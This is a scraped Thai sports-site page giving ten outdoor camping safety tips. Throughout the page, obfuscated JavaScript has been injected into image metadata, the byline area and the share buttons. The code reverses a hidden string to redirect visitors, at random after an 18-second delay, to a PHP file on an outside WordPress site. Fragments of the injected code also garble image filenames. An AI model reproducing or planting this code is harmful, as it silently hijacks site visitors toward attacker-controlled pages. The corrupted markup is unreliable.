andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andarich-326680-unsplash.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2018/10/holly-mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andarich-326680-unsplash.jpg","width":1000,"height":664},{"@type":"WebPage","@id":"https://www.stepextra.com/outdoor-safety-10/#webpage","url":"https://www.stepextra.com/outdoor-safety-10/","name":"Outdoor Safety: 10 ทิปง่ายๆ ให้คุณ outdoor แบบปลอดภัย - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/outdoor-safety-10/#primaryimage"},"datePublished":"2018-10-14T09:30:23+00:00","dateModified":"2018-10-16T07:32:42+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"breadcrumb":{"@id":"https://www.stepextra.com/outdoor-safety-10/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/outdoor-safety-10/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/outdoor-safety-10/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"Outdoor Safety: 10 ทิปง่ายๆ ให้คุณ outdoor แบบปลอดภัย"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News

Outdoor Safety: 10 ทิปง่ายๆ ให้คุณ outdoor แบบปลอดภัย

kan by kan
16 October 2018
in News
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andarich-326680-unsplash.jpg">
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andarich-326680-unsplash.jpg&description=Outdoor+Safety%3A+10+%E0%B8%97%E0%B8%B4%E0%B8%9B%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%86+%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B8%84%E0%B8%B8%E0%B8%93+outdoor+%E0%B9%81%E0%B8%9A%E0%B8%9A%E0%B8%9B%E0%B8%A5%E0%B8%AD%E0%B8%94%E0%B8%A0%E0%B8%B1%E0%B8%A2" rel='nofollow' class="jeg_btn-pinterest ">

หากเรามีความรู้ทักษะสกิลในการเข้าถึงพื้นที่ตั้งแคมป์ การอ่านสภาพอากาศ ลักษณะภูมิศาสตร์และรู้จักขีดจำกัดของร่างกาย เทคนิคเหล่านี้จะช่วยให้ทุกอย่างปลอดภัยและให้การไปแคมป์เดินป่าทุกครั้งสนุกมากขึ้น

Outdoor Safety: 10 ทิปง่ายๆ ให้คุณ outdoor แบบปลอดภัย

หากเรามีความรู้ทักษะสกิลในการเข้าถึงพื้นที่ตั้งแคมป์ การอ่านสภาพอากาศ ลักษณะภูมิศาสตร์และรู้จักขีดจำกัดของร่างกาย เทคนิคเหล่านี้จะช่วยให้ทุกอย่างปลอดภัยและให้การไปแคมป์เดินป่าทุกครั้งสนุกมากขึ้น

1. ไปกันเป็นก๊วน ตามสุภาษิตว่าไว้ คนเดียวหัวหาย สองคนเพื่อนตาย นั้นคือ การจะทำอะไรที่มีความเสี่ยง ถ้าไปคนเดียวอาจจะเป็นอันตรายถึงแก่ชีวิต ถ้าไปกันสองคนจะได้สามารถช่วยกันได้ การไปแคมป์ เช่นกัน ถ้าไปกันหลายคนก็จะได้ช่วยกันหลายมือและสนุกกว่าไปคนเดียวด้วย ยิ่งการไปเที่ยวในพื้นที่ห่างไกล ก็ควรไปกันอย่างน้อย 4 คน

2. เช็คสถาพร่างกาย ตรวจดูสภาพความฟิตของร่างกายของทีมงาน ดีไซน์แผนการแคมป์ แผนเดินป่าก็ตามต้องอิงจากคนที่อ่อนที่สุด ตรวจสอบทีมว่ามีโรคประจำตัวหรือไม่เพื่อการวางแผนที่ครอบคลุมมากขึ้น และหากเราคนใดคนหนึ่งอยู่ในช่วงไม่สบายก็ควรให้เลื่อนออกไปก่อน

ในแคมป์ที่มีการเดินป่าเข้ามาผสม นอกจากความฟิตของร่างกายแล้ว เราควรมีทักษะในการใช้แผนที่และเข็มทิศ การกางแคมป์แบบชั่วคราวเพื่อหลบฝน การปีนไต่เขาและการปฐมพยาบาลเบื้องต้น

3. อย่าลืมชุดปฐมพยาบาล เวลาแพคของใส่กระเป๋า อย่าลืมชุดปฐมพยาบาลเบื้องต้นใส่เข้าไปด้วย ทั้งนี้ชาวแคมป์ก็ควรเรียนรู้สกิลปฐมพยาบาลอย่าง การทำแผลสด การดูแลรักษาแผลฟกช้ำ การปฐมพยาบาลกระดูกหักและการถูกสัตว์พิษต่อยกัดเบื้องต้น

4. ดูฤดูฟ้าฝนให้ดี วางแผนล่วงหน้าทุกครั้งก่อนออกทริป สังเกตดูว่าเราจะไปในช่วงไหนและมีโอกาสเกิดฝนมากน้อยแค่ไหน เพราะจะได้จัดเตรียมชุดเสื้อผ้าและอุปกรณ์กันฝนได้ถูกต้อง จากนั้นก็เพิ่มสกิลในการอ่านอากาศ เพราะเวลาขึ้นอยู่บนเขา สภาพอากาศสามารถเปลี่ยนแปลงได้ตลอดเวลาและรวดเร็วมาก

5. เลือกชุดเสื้อผ้าให้เหมาะกับฤดูและสถานที่ เมื่อวางแผนและรับรู้ถึงสภาพอากาสเรียบร้อยแล้วก็จัดเตรียมชุดออกแคมป์เดินป่าให้ดี โดยปกติในร้านเดินป่าทั่วไปจะมีกางเกงสำหรับกิจกรรมแคมป์ปิ้งโดยเฉพาะ แห้งเร็วและระบายอากาศได้ดี พยายามหลีกเลี่ยงกางเกงยีนส์และผ้า Cotton เพราะเวลาเปียกจะระบายน้ำได้ช้า อุ้มน้ำ ทำให้อับชื้นและหนัก ถ้าไม่อยากซื้อชุดแคมป์เพิ่มก็แนะนำชุดกีฬา เพราะสามารถระบายเหงื่อและแห้งเร็ว

6. จัดเลือกอุปกรณ์แคมป์ปิ้งให้เหมาะกับทริป หลังจากจัดชุดเสื้อผ้าเสร็จแล้ว ต่อไปก็ตรวจเช็คดูอุปกรณ์สำหรับการไปแคมป์ เลือกให้เหมาะกับกิจกรรม หากมีการเดินป่าเข้า อุปกรณ์อย่างไม้เท้าเดินป่า มีด กระติกน้ำ หมวกกันแดด เข็มทิศและแผนที่ก็ควรจัดเตรียมไว้ให้ดี หรือหากเป็นแคมป์คาร์ อุปกรณ์ทำอาหาร เต็นท์ เก้าอี้และอุปกรณ์ให้แสงสว่างก็จัดเตรียมใส่รถไว้ได้เลย

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrews-247193-unsplash.jpg” alt=”” class=”wp-image-9700″/>

7. ตั้งแคมป์ก่อนมืดเสมอ กฎการออกแคมป์ ไว้ว่าจะไปเดินป่า หรือขับรถไปตั้งเต็นท์ก็ตาม ต้องตั้งเต็นท์ก่อนมืดเสมอ เพราะเวลากลางคืนจะมีวิสัยทัศน์ที่แย่ (มองไม่เห็น) โอกาสเกิดอุบัติเหตุจะสูงกว่าเวลากลางวันที่เรายังมองเห็นอะไรๆ ชัดเจน

8. น้ำและอาหาร เรียนรู้สุขลักษณะในการประกอบอาหารและการหาน้ำดื่ม เพื่อหลีกเลี่ยงอาการท้องเสียและอาหารเป็นพิษ

9. ระวังสัตว์ป่า แมลงและสัตว์มีพิษ ชาวแคมป์โปรดพึ่งระวังสัตว์ป่าและสัตว์มีพิษทุกครั้งที่ออกแคมป์เดินป่า พยายามเดินในเส้นทางหรือสถานที่ที่ได้จัดเตรียมไว้แล้ว การออกนอกลู่นอกทางมีโอกาสเข้าไปรบกวนถิ่นหรือทางเดินของสัตว์ป่าได้ เวลากางเต็นท์ก็พยายามเลือกดูสถานที่ว่ามีรังแมลงอยู่หรือไม่ จัดเก็บอาหารและของกินให้มิดชิด ไม่ควรรับประทานอาหารในเต็นท์ เพราะเศษอาหารจะเรียกสัตว์แมลงเข้ามาได้

10. อุปกรณ์สื่อสาร ในยุค 4.0 ชาวแคมป์ควรมีเบอร์ติดต่อฉุกเฉินและแบตเตอรี่สำรองไว้สำหรับสถานการณ์ฉุกเฉิน ควรมีการโหลดแผนที่ลงไว้ในแอพแผนที่ หรือหากมีนาฬิกาเดินป่าก็ควรตั้งจุดเริ่มเดินทางและจุดจบ เอาไว้ใช้นำทางเวลาเกิดหลงป่าขึ้นมา หากเข้าไปในพื้นที่ป่าลึก ก็ควรติดต่อและไปกับเจ้าหน้าที่ป่าไม้และไกด์ทุกครั้ง บางพื้นที่ที่สัญญาณโทรศัพท์เข้าไม่ถึง ก็ต้องพึ่งวิทยุพกพา (walkie talkie) ใช้แทน

ตบท้ายสักนิด ด้วยวิธีการรับมือการหลงป่าการหลงทางที่อาจจะเกิดขึ้นกับทุกคนได้ นั้นคือ พยายามจำจดและสังเกตสิ่งแวดล้อมข้างกายให้ดีทุกครั้งที่ออกเดินทาง ลักษณะรูปร่างของภูเขาและลักษณะพืชพรรณ หากเกิดหลงทางให้ตั้งสติและหยุดอยู่กับที่ไว้ก่อน พยายามใช้เครื่องมือที่มีอย่างแผนที่ในมือถือหรือการโทรศัพท์ขอความช่วยเหลือ เวลาค้ำคืนก็ห้ามเดินทางเคลื่อนย้ายไปไหน และวิธีสุดท้ายให้พยายามเดินทางตามแม่น้ำลำคลองเข้าไว้ ซึ่งส่วนมากจะไหลไปยังพื้นที่หมู่บ้าน

อ้างอิง www.fs.fed.us

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andarich-326680-unsplash.jpg&description=Outdoor+Safety%3A+10+%E0%B8%97%E0%B8%B4%E0%B8%9B%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2%E0%B9%86+%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B8%84%E0%B8%B8%E0%B8%93+outdoor+%E0%B9%81%E0%B8%9A%E0%B8%9A%E0%B8%9B%E0%B8%A5%E0%B8%AD%E0%B8%94%E0%B8%A0%E0%B8%B1%E0%B8%A2" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.